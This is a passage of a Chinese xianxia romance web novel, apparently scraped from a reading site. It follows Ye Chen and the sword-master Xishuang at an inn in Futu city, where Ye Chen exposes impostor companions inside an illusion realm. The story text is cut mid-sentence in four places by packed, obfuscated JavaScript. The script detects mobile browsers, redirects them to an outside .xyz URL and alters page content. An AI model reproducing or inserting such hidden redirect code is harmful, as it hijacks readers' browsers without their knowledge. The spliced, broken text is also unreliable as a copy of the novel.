一道细小的霜花沿着她手腕开了一圈,像一条漂亮的手链,叶琛感觉手腕传来细微的痒意,心想这霜花的确是很漂亮的,但难道洗霜攥着她,只是为了送她条手链吗? 僵持的沉默蔓延,叶琛有些受不了这氛围,正打算开口,洗霜却道, “叶琛,你今日和我说了两次对不住,我有些好奇你何时会说第三次。” 这...... 叶琛分析了几秒洗霜这话的含义,随后道:“我保证不会有第三次。” 他却没有松开手。 洗霜垂下眼睫,几点霜白缀在睫羽尾端,随之起伏翕合,目光落在叶琛细瘦的手腕上,顿了顿。 他眉尖又轻微蹙了下,想起当年叶琛第一次上万剑阁的时候,明明不是现在这样瘦弱的。 洗霜第一次见到叶琛,仔细想来,也是百年前的事情了。 他那时在洗剑池闭关,万剑阁大多时候很安静,只有一个叫濯月的孩子爱闹,却也知道不能去洗剑池打搅阁主。 但那一日,濯月冒着洗剑池化不开的浓郁寒气,手脸冻得通红, ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426995|153757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 也要跑到他跟前来,禀告有人闯了剑阵,如今已过界碑了。 洗霜倚在池边,有一搭没一搭地听濯月说话,听到某个地方,才皱着眉道:“连闯四大剑阵?那人断了几只手?” 濯月摇摇头,回答:“没断一只,如今在外边跪着呢。” 老实说,洗霜没想过自己会在冬月过去前离开洗剑池,一则是霜雪时节于他而言是一年中灵气最盛的时候,另一则是......万剑阁外有剑圣留下的剑阵护持,百年来寻访万剑阁的人不在其数,却没有一个真的闯进来过。 所以洗霜对这个人,是有那么一点好奇的。 可真的见到那人,他眉头越皱越紧,抿着唇推了推她的肩,沉着声:“不要在这里睡。” “哦哦好......”那姑娘眉眼倦怠得睁不开,勉强抬起眼,眼珠乌黑透亮,“仙君,我要去万剑阁,我听说那里有个很厉害的剑首,我想求求他......” 女孩语气急切。 “求他救救巫镇,救救巫镇的人。” 叶琛仰着头,长而卷翘的睫毛上挂着一圈冰凌,被她轻轻眨掉,眉眼透出无知无觉的乖巧,眼瞳浓黑似墨。 她眼睛一眨不眨地望着眼前这位仙君。 洗霜垂着眼,不见动容,指尖沾了一簇血,是方才碰她时沾上的。 他现在后知后觉觉出一点烫。 叶琛继续说:“仙君,我好像走错地方了,刚才不知怎么就闯进了几个阵法,然后就到这里来了,这是你家吗?” 她一骨碌从地上爬起来,往洗霜身后张望,只看见天地白茫茫一片。 她面前这人身上却有种水泼不进的沉稳气场,冰雕一样往她身前一挡,风雪声都听不见了。 所以叶琛觉得,这人应该就是此地主人,她又埋怨自己,真是要命,在大雪天迷了路,不知怎么就跑到这里来了。 这下,她要到猴年马月才能找到万剑阁,和那位很厉害的剑首呢? 洗霜听完她一番陈情,并没说什么,看上去也没打算追究陌生人闯进自己家这事,叶琛就愈发大胆,试探着问:“仙君,我可以请你帮帮我们吗?” 洗霜蹙起眉,目光忽然停在她肩上,玄衣被血沁湿,洇出深重的墨色,他话到嘴边,顿了下,改口:“你不是要去万剑阁找剑首?” 叶琛想了想,说出心中所想:“我觉得......他在传闻中似乎不太好相处,但仙君你是个好人,你不会见死不救的,对吧?” 女孩眨巴眨巴眼睛,望着他。 * 洗霜忽地松开手。 再无他话。 叶琛收回手,微微点头致意,转身上楼。 然而到了楼上,她才发现自己这口气松早了。 浮屠城戒严,许多修士被堵在城外,只好在周边城镇休整,季知年订的这家客栈,本来订了四间房,被这些修士一挤,只剩下两间。 洗霜和叶琛一间,季知年和他师妹一间。 这在季知年看来是目前最合适的安排,但对叶琛来说...... 和洗霜共处一室真的不会冻死人吗? 但她心里又隐隐觉得这间房洗霜是不会进的,当年她请他下山,他便一直夜晚宿在外面的树上,叶琛问他为何如此,甚至都想到特殊的练功法门这一层了。 结果,洗霜说:“客栈人太多。” 行吧。 世外仙人嘛,苍云山上一年到头没几个活人,大概看不惯人族蟑螂式扎堆的住宿环境。 叶琛想明白这点,心里顿时轻松许多,抬起手,指尖刚触碰到门板,背后就传来一道冷淡的嗓音。 “叶琛。”她听到身后人说,“你不拿钥匙,打算拿自己开门吗。” 10. 十 叶琛指尖一顿,游蛇般滑到身侧,转身望向来人。 这人身上仍带着霜雪的冷意,如苍云山巅终年不化的积雪,眉目清泠泠望过来,对视一瞬,他打开了房门。 然后,他走了进去。 叶琛犹疑一瞬,只好也跟着进去。 她边走边想这算怎么一回事,洗霜突然转性要住客栈了?可是只有一间房一张床啊。 这般想着,她没留神,额头一下就撞上了身前人后背。 叶琛脱口而出:“对不——” 洗霜淡声道:“第三次。” 叶琛一愣,随即把后面的话吞回去,转而道:“房里只有一张床,我去和掌柜说加一张......” 洗霜却道:“我不住这里。” 叶琛眨眨眼,她这下是真的很疑惑了,问道:“那你上来......” 所为何事啊? 一个包袱被丢到她怀里。 “你的东西。”洗霜往下看,目光落在少女乌黑的发旋上,“毕竟我是吃人的怪物,教人看一眼就要丢盔弃甲,什么都能忘了。” 叶琛缓缓抱住怀里的包袱。 这是她离开老头家时的全部身家,用一张蓝底白花的桌布包起来,外面还沾了许多油点子,脏兮兮的,也难为洗霜一路拎上来。 她只好道:“好吧,那你还是和从前一样住树上吗?” 洗霜没有说话,只微微点了点头。 他似乎只是看不下去她丢三落四,上来送还东西后,就离开了叶琛的房间。过了一阵,叶琛打开窗户,果然在一棵浑身挂满冰棱的树上,看到了一抹白色的身影。 寒风呼呼地吹进来,叶琛脱了鞋子躺在床上,耳边传来嘈杂的声响,楼下还有人在饮酒谈天,隔壁睡了个胖子,鼾声随着他肥胖的身躯起起伏伏。 她闭眼许久,还是睡不着,又想起洗霜方才的话。 其实她倒也谈不上害怕洗霜,只是她前世和这位剑首决裂后,很久不再相见,如今突然日夜相处,她不太习惯。 也不知道该用什么态度面对他。 不过......这也不太重要就是了。叶琛此行本就是为了去浮屠塔看看前世之死的缘由。 至于之后做什么,她还没想好。 但人生很多时候不就是这样吗,永远不知道下一步棋会落在哪里。 就像她在今日前全然不曾想到会有人公然盗走佛宝。 她原本是动过偷来仔细瞧瞧的念头的,被人截了胡,还心中纳罕,竟有人比她还敢想敢干! 从四面八方赶来浮屠的修士,大多是为了佛宝和佛圣的传承,今日那个没带钱的女修是来瞧热闹,那洗霜来此又是为了什么? 叶琛随意猜测,洗霜是万剑阁剑首,佛宝于他无用,他这性子也断不可能去偷窃佛宝,那他来此大概真的只能是为了万剑阁了。 万剑阁能有什么事和浮屠塔沾边? 她正想着,忽然听到枕头下传来一道沉闷的嗓音。 “万剑阁圣物最后一次现世,和浮屠塔有关。” 叶琛一骨碌从床上爬起来,从枕头下抽出那把长剑,剑身散发着阵阵冰寒之气,剑柄以古银铸成,其上镂空雕刻着数朵霜花。 方才的声音,便是从剑中传出。 叶琛纳罕道:“你会说话啊?” 还听着这么耳熟! 剑沉默了片刻,又道:“是我。” 叶琛愈发觉得这声音耳熟,想了许久才反应过来,这不是洗霜吗? 虽然他的声音有些失真,还有点哑,但仔细听还是能听出来的。 叶琛思索道:“好方便的功能,和传音玉牌差不多,那东西还要烧灵石,你这应该注入灵力就能用。” “并不用灵力,这是我未修成灵身前的本体,之前不用是没必要。”他道。 叶琛支颐想了想,确实没必要,前世他们关系还不错时,一直在一起,后来分开了,也就没有联系的必要了。 她问道:“那你现在怎么有必要了呢?” 剑中传来他清冷的嗓音。 “我想,如果我不辟谣,明天你就会推测出万剑阁对浮屠塔有不可告人的心思。” “后天,”他顿了下,“你就该揣测我和佛宝被窃有什么联系。” 叶琛这才发觉,她方才脑中想的内容怕是不自觉念出来了,还全被对方听了去,狡辩道:“我随便猜猜,也没什么依据,你何必当真。” 她又道:“万剑阁圣物?那是什么东西?和佛宝有关系吗?” 但几乎是话刚出口她就想撤回去,她问这句只是单纯出于好奇,可这事一听就关乎万剑阁隐秘,她主动问就很不合适了。 她和洗霜还没熟到那种程度。 洗霜沉默一阵,再次开口,声音有点闷:“我不知道。” 万剑阁剑首连自家圣物都不知道是什么? 叶琛心里的讶异一下冲到顶点。 她并不怀疑洗霜这话是来搪塞她的,从她认识他起,他最多不说话,却从未说过谎,当初刚刚下山时,她住过一家老板娘很健谈的客栈,那女人爱探问客人私事,曾问他们今年多大是否婚配。 叶琛就笑嘻嘻地答,成过三次亲,全给克死了,也没能给她留下一女半男,唉。 老板娘瞧着她的模样,看上去不太信,但也没追问,转而问起洗霜。 洗霜却怎么也不说话,老板娘从中得了趣,硬要问,叶琛就揽过他道:“这是我看上的第四个小郎君啦,你别问,人家要害臊的。” 后来可能是因为她这句没过脑的胡言乱语,洗霜一整个晚上都不和她说话。 叶琛思路飘远,剑中又传来洗霜的声音:“万剑阁圣物,据传是当年剑圣遗物,但并不在我手中保管,而是在阁中长老处,我自然不知道是什么。上任剑首失踪后,圣物也随之丢失。” 千年前飞升的四圣分别以剑道、琴道、佛法和医药见长,因此也被尊称为剑圣、琴圣、佛子和医仙。后来为了方便,人间就统一称作四圣了,万剑阁是当年剑圣亲手创立的圣地,有剑圣遗物并不稀奇。 但叶琛从未听洗霜提起过圣物丢失和上任剑首失踪一事,他教她练剑时,很少提起万剑阁,因此即使她和这位剑首算是朝夕共处过很长一段时日,对万剑阁却知之甚少。 叶琛思索片刻,分析道:“上任剑首和剑阁遗物是一起失踪的,会不会是你们那位剑首带走了圣物?” 洗霜却道:“上任剑首......性情豪放,若是他带走了圣物,不至于一声不吭,也不该这么久不露出一点蛛丝马迹。” 他语气颇不赞同,叶琛几乎能从他声音里想象出那人眉目间凝滞的霜雪。今夜风大,窗棂簌簌作响,她干脆起身关了窗子,室内顿时安静许多,某些细微的响动也变得分外显著。 剑内传来一点浅淡的风雪声,关上窗子也听得见。 叶琛听着听着,就打了个哈欠,点头道:“有道理,既然 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426996|153757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 万剑阁圣物最后一次现世是在浮屠塔,你或许能在这里找到线索。但如今浮屠城戒严,不如明天看看有没有办法找到如今浮屠塔的主事者。” “我有些困,睡了。” 她合衣躺在床上,补充道。 脸侧洗霜剑沉默半晌,才道, “好,且待明日吧。” * 第二日叶琛醒来时,太阳已经升得很高,连日大雪,少有这样的艳阳天,即使冬日的太阳也是冷的,但终归比没有好。 她这一夜睡着时,耳边总传来嘈杂的低语,但响了一阵又沉寂了,由于昨夜睡得晚,今早醒来时,她竟有些不知今夕何夕。 从床上起身,叶琛重新将长剑系在身侧,行动时手腕那串霜花在阳光下折射出绮丽的色泽,她被晃到了眼,转而又想起昨夜洗霜的神色。 他虽然惯常情绪不上脸,但那时他盯着她手腕看了许久,在想什么呢? * 楼下,洗霜坐在靠窗的位置,桌上摆着几碗皮蛋瘦肉粥,咕噜噜冒着热气,叶琛下来时,他已经喝了几口。 叶琛走近时顿觉新奇,好奇他的味觉,问道:“好吃吗?” 洗霜道:“尚可。” 叶琛就对这粥更好奇了,吹凉了一勺,放入口中,耳边传来几道有些耳熟的声音。 “浮屠塔还在查佛宝失窃一事,难道我们就一直在外面等着吗?” 另一人道:“不然还能怎么?你能强闯进去吗?” “闯什么闯,我的意思是,来都来了,浮屠塔不开门,我们去别的地方找点乐子呗。” “什么乐子?” 叶琛喝完这勺粥,转头看去,发现这两人正是昨日向季知年提问的修士。 其中一人道:“咱们去灵山看看呗,昨夜那道长的故事听得我心痒,左右灵山就在浮屠城东南几十里,就算佛宝突然被找回,我们也赶得及回来。” 灵山竟然就在浮屠塔附近? 叶琛不自觉看了洗霜一眼,发现他在低头喝粥,并没听那两人在讲什么。 这粥有那么好喝吗?她只觉得还能入口,难道修士和剑灵味觉差异真的如此之大? 叶琛心中微觉奇怪,又听到那个修士道:“今早天音楼的人也往灵山去了,他们惯来眼高于顶,灵山真有好东西也未可知,我们就当去碰碰运气。” 天音楼也是四圣地之一,万剑阁由剑圣一手创立,浮屠塔和佛子颇有渊源,而天音楼从名字上就能知道是琴圣的遗产了。 琴圣当年飞升时,不知为何并未带走自己的琴,这琴至今被供奉在天音楼楼中,极受楼内弟子尊崇。 但天音楼的人为何要在这个节骨眼往灵山去?难道真如他们的猜测,灵山有好东西吗? 叶琛没想出所以然来,后背就被人轻轻拍了一下,她心下一惊,回头看,正是昨日随季知年回来的女修。 她手搭在叶琛肩上,道:“这客栈早饭好难吃,我们出去吃点东西吧。” 叶琛无语一阵,揭穿她:“你是自己出去吃饭付不起钱吧。” 谁知那女修一笑:“生我者天地也,知我者阿珍也,除了我的心肝宝贝小珍珠,谁还能当我的知音?” 叶琛难得沉默半晌,最后还是从桌边起身,被她挽着往外面走去,犹豫片刻,她回头看了一眼:“我回来再和你谈昨夜的事情。” 洗霜抬起眼,浅淡的眸子眨了一下。 “好。” 他道。 11. 十一 叶琛发现这位女修还真是不知道“客气”两个字怎么写。 叶琛被她拉着出去,并没有先去食铺,而是去成衣铺买了身衣裳,之后才去酒楼点了一桌子菜。 叶琛看着她大口吃肉喝酒,忍不住道:“你昨日没有吃饭吗?” 女修塞了满嘴珍馐,含糊答:“没有啊,我身上没钱,好久都没吃饭了,早知道就让他先付我钱了。” 叶琛:“他?” 女修完全吞下嘴里的食物,才道:“一个托我办事的人,算是老朋友了,这事他不好出面,便托了我来,哎呀,早知道要他先给我钱了。” 叶琛觉得这是私事,便不好再问了,又听到她道:“阿珍啊,这里的东西真好吃,比你们住的那家客栈好吃多了,那客栈的东西又贵又难吃,摆明了见最近客多,一碗粥都敢卖二两银子。” 说话间,又有一盘桂花糕被小二摆上桌,叶琛咬了一口,险些没吐出来。 桂花糕是秋日特有的吃食,需取十月最新鲜的桂花,和着精制糯米粉,刚出锅时香气四溢,贵在新鲜。 但如今是寒冬腊月,所用的桂花都是陈桂,桂花糕端上来不算难吃,但也绝不能说好吃。 叶琛就有些怀念闲云宗附近的点心铺子了,桂子金黄之时,往热腾腾的桂花糕上撒一层白糖,一口咬下,满口清香。 但洗霜偏偏不喜欢桂花糕。 前世,她因为练剑的事情和洗霜短暂闹掰后,他又在秋天回来,两人绝口不提之前吵架的事,如从前一般相处。 叶琛大概明白洗霜的雷点了,他不喜欢苏二,也不喜欢她停滞在灵境的修为。 所以她就不在洗霜面前提苏二,修行愈发勤勉,后来有一日清早,她闻到一股熟悉的香味,循着香味找到了一盒吃完的糕点盒子,最后一块桂花糕落入那弟子腹中,他吃完后发现身后突然多了个人,条件反射起立, “叶叶叶、叶宗主!” 叶琛摆了摆手,看着他嘴边的点心渣子,若有所思:“山下又开始卖桂花糕了?” 那弟子还以为自己要被训斥贪玩,老实道:“自从妖鬼被宗主您打跑后,山下的各种店铺又慢慢开起来了,现在热闹得很。” 叶琛当时心里便有了思量,回去同洗霜说:“我们今日不学剑了,去山下看看吧。” 她说完这话已经准备好挨洗霜的骂了,不过嘛,骂没关系,叶琛甚至觉得洗霜讽刺起人很好玩,翻来覆去就是那几句,她都能背了。 她来问洗霜,也只是因为心里隐隐觉得,不说一声就自己下山,洗霜一整天找不到她,可能会一气之下又走了。 她不太希望洗霜走。 但出乎意料的是,洗霜那天很轻易就答应了,叶琛走在下山的山道上,还有点狐疑。 洗霜这么好说话吗? 那他们从前为什么天天吵架? 叶琛满肚子疑问藏在心里,真到了山下,又全抛开了。 那个弟子说的还是保守了,山下何止是热闹,简直像是一年到头的热情全喷涌出来了。 秋收刚过,今年收成好,人们也乐得到镇上去赶集,一眼望去,各色丝绦在风中飘扬,各色吃食混杂着玉石瓷器,铺开一片绯红烟气。 妖鬼过境后,巫镇很少这样热闹过,但日子总是在往前走,叶琛很快就挑了一间铺子选起东西来,老板很热情,给她介绍各类货品,随她挑选。 但叶琛挑了一阵,又觉得少了点什么,回头看,洗霜同她一道下山,此时站在熙熙攘攘的人群中,眼帘低垂,不知道在想什么。 他好像一樽霜雪堆砌的冰树,本该摆在苍云山上的,山上松涛阵阵,积雪终年不化,偶有青鸟飞过山间,捎来远方书信。 叶琛此时忽然意识到,这位剑首,大概并不适应万剑阁外的喧嚣。 她刚想到这一点,手已经快过脑子,把洗霜从人群中拉过来,他脸上一瞬怔愣,没反应过来,叶琛就把一个面具扣在他脸上。 那面具上绘着玉面狐狸,狐狸耳朵上还粘着几根白狐狸毛,笑得很张扬,叶琛一眼挑中这个,是因为这面具是白的。 洗霜也是白的,她觉得这面具他戴着应该很好看。 但实际戴上去,因为那几根随风摇曳的狐狸毛,反而显得滑稽了。 叶琛微微皱眉,抬手要把面具摘下来,老板却相当热情:“你家郎君戴这个很好看啊,这个白狐面具卖得很好的,正好还剩下个赤狐的,你们要不要,正好凑一对!” 老板递过来另一个狐狸面具,耳朵上黏着几根红色的狐狸毛。 叶琛刚想说不要,却看到洗霜直接付了钱,朝老板微微颔首,扯着她往前走。 完全没给她后悔的机会。 叶琛捧着这个狐狸面具,心想反正付了钱的,不戴白不戴,如此,街上便多了一红一白两只狐狸,叶琛戴着面具逛了一阵,终于找到那家卖桂花糕的铺子,排队排了许久,才买到一盒。 叶琛吃了几块,又抬起眼问道:“你要不要吃?很好吃的。” 洗霜没说要或者不要,叶琛继续推销:“你真的不吃?那我全吃完了啊,你再想吃只能明天来买了。” 上次苏二送了她一盒桂花糕,洗霜也不吃。但叶琛觉得没吃过一种食物,怎么会讨厌这种食物呢,她也觉得桂花糕这么好吃的东西,洗霜不喜欢一定是因为没吃过。 于是在洗霜开口说话的那一刻,叶琛直接塞了一块桂花糕到他嘴里。 他的唇很凉,这人仿佛全身上下都是冷的,叶琛碰到他的那一刻,忽然想到这人的心脏会不会也是冷的。 洗霜被她突如其来的举动呛了一下,连连咳嗽几声,才把她强塞进来的东西咽下去,全程没有说一句话,他戴着面具,叶琛也看不见他的神情。 周遭温度一瞬间低了许多,叶琛看他忍着不适把桂花糕咽下去,又有点后悔了。 她想,或许世上就是有人不喜欢大部分食物,包括桂花糕吧。 * 叶琛从回忆中抽身,忽然有些想念巫镇和闲云宗了。 一桌子珍馐被女修扫荡得差不多,叶琛掏出锦袋结账,女修问她:“这家菜挺好吃的,你怎么不吃呢?” 叶琛道:“方才在客栈吃了半碗粥,饱了。” 她打开锦袋取钱,指尖拂过柔软的刺绣,想到什么,忽然顿住。 叶琛抬起头,乌黑的眼珠直直盯住对面人,道:“我们住的那间客栈,吃饭要收钱吗?” 对方愣了下,随即道:“当然要啊,一碗粥二两银子呢,我说他们怎么不去抢!” 叶琛眸色一变,指尖轻轻揉捻着锦袋上的月亮,低声道:“那他怎么付的钱。” 洗霜的钱袋在她这里啊。 她脑中一瞬闪过好几种可能,随手抽出几张银票给旁边的小二,眼底隐隐闪过几分厉色,抬眼时却一派平常。 她对那女修说:“我们恐怕得快点回客栈了。” 又道:“你叫什么?” “我啊,叫我灵犀就行。”女修答。 “好。”叶琛即刻起身,一路懒散随意之气全然收了起来,她缓缓皱起眉,瘦削指尖在桌面轻轻点了点,“今早客栈里头,和我同桌的那个人,是假的。” “假的?”灵犀眨眨眼,面露惊讶,“怎么会,你们昨晚不是在一块吗?还有人在你眼底下把你那位剑首掉包了?” 这听起来可就真够惊悚的了。 叶琛摇摇头,没说什么,只看了一眼桌上唯一剩下的桂花糕,垂眸道:“这个打包吧,我给家里人带一份。” * 客栈。 叶琛走进门,拍落肩上的雪,雪珠子崩落下来,溅了季知年一身。 他才和宋以安从外面回来,刚清理完身上的雪,又被叶琛弄了一身,微微皱眉:“我身上全乱了。” 叶琛望着他,笑道:“刚才赶着回来,没注意,要不季 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|chxs|n|xyz|14426997|153757||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 师兄尝尝我新买的桂花糕,算是赔礼了。” 她打开糕点盒子,让宋以安和季知年一人拿了一块。 叶琛道:“我记得闲云宗山下也是有桂花糕卖的,可惜只卖一季,冬日便没了,浮屠这边的点心,倒是冬日也卖的。” 季知年咽下那块糕点,应和道:“的确是这样,山上的弟子都喜欢吃桂花糕,山下那家点心铺子生意一直很好。” 叶琛又把整盒糕点拿到洗霜面前,打开盒子,对他道:“我特意为你买的糕点,你不吃吗?” 洗霜浅淡得没有一丝情绪的眼睛望着她,似乎在疑惑她为什么要买这东西。 叶琛眨了眨眼:“你真的不吃吗,你从前很爱吃的。” 洗霜缓慢地动了动唇,似乎是要点头,却在出声前一秒被叶琛塞了满口桂花糕。 他只好僵硬地动了动嘴,把嘴里的东西咽下去。 叶琛看了他一会,点评道:“你看,我说过你从前很爱吃的。” 灵犀站在她背后,也看出不对了,皱眉道:“阿珍,他......” 叶琛回头冲她点了点头:“我知道,他是假的。” 她又转身看向宋以安两人,陈述道:“你是真的,他是假的。” 她先后指了指宋以安和季知年。 宋以安闻言,有些犹豫地站起身:“叶道友,你在说什么真的假的啊......我和我师兄一直在一起啊,就算有人假冒我师兄,难道能瞒过我?” 叶琛抖了抖手上沾染的糕点碎屑,平声静气道:“他方才也说了,闲云宗山下的桂花糕卖得一直很好,因为做得软糯好吃,我今日带回来的却干硬难以下咽,我咬了一口都觉得难吃,我们这位季师兄,却能全吃下去?” 她嘴角动了动,满是嘲讽:“而且,季知年是什么人,老好人大善人,连被灵犀拽去当钱袋子都不好意思拒绝,你装他也装像一点吧。” 宋以安拈着只咬了一口的糕点,不自觉离季知年远了一些,方才被忽略的疑惑一点点浮上心头。 是啊,叶琛带回来的桂花糕确实难吃极了,她只咬了一口就放下了,又碍于面子不好意思当面丢,但她师兄竟然全吃下去了! 她和季知年同门多年,叶琛的评价确实刻毒极了,她师兄说好听点是仁善,说难听点,是谁都想帮也不看看自己几斤几两。 这样菩萨似的性子,怎么会只因为叶琛甩了他一身雪珠子就斥责她? 宋以安越想越生疑,仔细打量这个“季知年”,自觉和他拉开了一段距离。 季知年皱起眉,从椅子上“登”地一下站起来,连声道:“师妹,你怎么可以听外人胡言乱语呢?你也说了今日晨起便和我一起,中途难道还会换了人不成?” 他旋即望向叶琛,斥道:“我不明白你为何要挑拨我和我师妹,我难道有哪里得罪你了吗?” 叶琛望着他和季知年一模一样的脸,忽地笑了:“季师兄,你也知道我是外人,可是我一进门就喊你师兄的时候,你可是应下了的。” “怎么,如今被我拆穿了,我就不是你师妹了么?” 掷地有声。 门外忽然落下一道惊雷,石火电光,划过“季知年”阴翳的眉宇,窗外顿时阴沉下来,仿佛撩开厚重的帷幕,舞台全景慢慢浮现于眼前。 外面不知何时已经停止下雪,转而是豆点大的雨,瀑布般倾泻在街上,不时有躲雨的人在屋檐下张望,身背竹编斗笠,短衣短裤——这是夏季的装束。 空气中弥漫着雷雨特有的闷湿,叶琛深吸一口气,目光从门外收回,却发现那个“季知年”已经不见了。 身后,灵犀缓缓道:“阿珍,客栈里面,变了。” 他们原本身处的客栈一楼白日并没有什么人,但现在周遭却响起模糊嘈杂的人声,处处张灯结彩,弥漫着饭菜和酒坛子的香气。 叶琛定神一看,他们哪还是在客栈里,这分明是一座酒楼。 12. 十二 近处,店小二左手一盘烧鹅,右手一盘烤鸡,像是没看见叶琛一样,直直朝她撞来。 眼看那盘烤鸡就要直直浇上她面门,叶琛使了个轻巧的身法,方才闪到角落,靠着墙壁,抬眼四周扫了一圈。 没有一个人往她们这边看。 就像她们原本就是不存在的人一样。 宋以安目睹全程,蹙眉道:“那个关于佛宝的传言,竟然是真的。” “什么真的?”叶琛抬眼看她。 见身侧两人都望过来,她解释道:“佛宝每次开启时,都有许多修士从四面八方赶往浮屠,但往往一场斋会下来,佛宝是有动静,机缘却连毛都没看到一根。” “于是就有传言,说每次斋会开启时,佛宝的机缘其实是以浮屠塔为中心,范围扩散的,但接不接得住,就看修士自身了。” “这说法其实没什么人信。”宋以安摇摇头,叹了口气,“毕竟谁愿意承认机会就在眼前,是自己不中用呢。” 方才若不是叶琛一语道破“季知年”是假的,宋以安觉得自己大概真要和一个假货在外面等着浮屠城开门,之后还会一块回闲云宗,想起来就不寒而栗。 而若是发现身边人被掉包,就算过了佛宝设的第一道关卡,正式获得这次秘境的入场券,客栈的幻境被撕裂后,眼前所见才是佛宝构筑的秘境。 宋以安不自觉想到,她们这边的季知年是假的,那季师兄发现他那边的其他人是假的了吗? 叶琛听完,问她:“季知年如今在什么境界?” 宋以安想了想,说:“季师兄几日前刚刚到梵境中段。” 如今道法衰微,人间已无幻境修士,低一级的灵境也是少之又少,以至于更低一级的梵境已经能算修为上佳,因此宋以安并不担心师兄被杀人夺宝,反倒更担心他能不能通过佛宝的第一重考验。 叶琛微微点头:“那看来我的猜测没有错,佛宝的秘境,难度应该在幻境,但距离灵境并不太远。” 修士的修为被从低到高分为筑境、梵境、灵境、幻境、圣境,秘境也一样,评估秘境难度是许多修士入门的第一课,因为找不到机缘和秘境并不可怕,误入比自己高太多境界的秘境才可怕。 若是身边还没有护持的师长,那就真的是叫天天不应,叫地地不灵了。 宋以安疑惑道:“你是怎么判断的?” 叶琛拍了拍手,道:“模仿一个人即使能仿得其形,却不得其神,方才的假季知年仿得惟妙惟肖,但模仿我们剑首却拙劣极了。” “这种模式的捏人,全看造物者境界与参考物的差距,差距越大,做出来的造物就越真。但秘境捏出来的‘洗霜’却有很多错漏之处,我便猜测这秘境最多到幻境初期。” 宋以安微微蹙眉,不解:“你竟能一眼看出你那位剑首是假的?” 她从头到尾都没看出那位剑首有什么不对,叶琛怎么就能一眼看出? 叶琛支颐左右望了望,不知道在找什么,顺口回答:“因为模仿得真的很拙劣啊,洗霜又不是坐在那里不说话,凡事都冷艳高贵就是他了。” 竟然不是吗? 宋以安觉得自己被颠覆了,又问道:“那你们剑首如今是何境界?” 她们三个如今在一块,宋以安便猜自己师兄应当是和那位剑首一起,若是这位剑首境界和秘境相差不大,她也可以为自家师兄放心了。 叶琛心不在焉答:“灵境巅峰吧。啊......找到了。” 什么巅峰? 宋以安以为自己听错了,世间少之又少的灵境修士,能踏入灵境就已经是侥幸,那位剑首竟然已在此境修至巅峰? 叶琛却已经往自己认定的方向走去,酒楼里异常嘈杂,碗筷声、吵闹声不绝于耳,但仍有一丝细弱的谈话声传入她的耳朵。 灵犀是第一个反应过来的,她跟着叶琛往前走,拨开熙熙攘攘的人群,角落里几张桌子上也摆着茶水菜肴,却并没动几口。 叶琛借着桌椅遮挡自己,感慨道:“大隐于市,五百年前的古人就已经有这样的智慧了啊。” 角落里十几人围桌而谈,衣饰与寻常凡人无异,但若是仔细看他们神情姿态,很快会觉出微妙的怪异。 外围酒过三巡,尽是些酒囊饭袋,甚至有醉汉已经唱起不成调的歌来,这里边的人,却个个神台清明,偶有几个太阳穴微微鼓起,这是长期锻体的结果。 叶琛轻轻感叹:“这群人全是修士,恐怕还基本都在灵境,聚在一起,是要干嘛呢?” 宋以安跟过来就听到这句,且惊且疑地看过去,只见角落里那桌主位青衣人拍案道:“岂能让那厮如此猖狂!灵山那夜的惨案还没同他清算,如今众目睽睽之下,他也敢对清虚长老下手!” 立时便有人义愤填膺:“就是,我看那人最多也就幻境修为,我们有如此多的灵境道友,现在又有清虚长老在此坐阵,众人合力,定可活捉他!” 紧跟着,周围接二连三的修士都纷纷发表自己的意见,宋以安看了一阵,问道:“你们看出清虚长老是谁了吗?” 灵犀抿了下唇,指了指那个紧挨着青衣人而坐的蓝衣修士,道:“是他。” 宋以安一愣,问道:“你如何知道的?” “因为他从一开始就没说过话。”叶琛替灵犀答道。 几乎是叶琛这话刚落,那蓝衣修士就轻轻咳嗽一声,声音很轻,却一下压过了满堂慷慨激昂。 这人看着文弱,甚至一眼看去是人群中最不起眼那个,在座却没人敢小瞧他。 因为他是这群人中唯一一个幻境修士。 叶琛仔细端详他,也没从他身上看出什么异于常人的地方,忍不住想这人到底是哪里做对了,怎么她上辈子怎么努力都摸不到幻境的门槛呢。 这声咳嗽一落,主座青衣人便软了口气,劝说道:“清虚长老,我们也是为您着想,那厮在暗,我们在明,若不早点把他揪出来,昨夜他暗伤您这事说不定还会发生。” “我与诸位道友听闻灵山一事,无不悚然,这样大的门派,却在一夜之间无人幸存,简直丧心病狂,若不把杀人凶手抓出来,怕是四圣 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 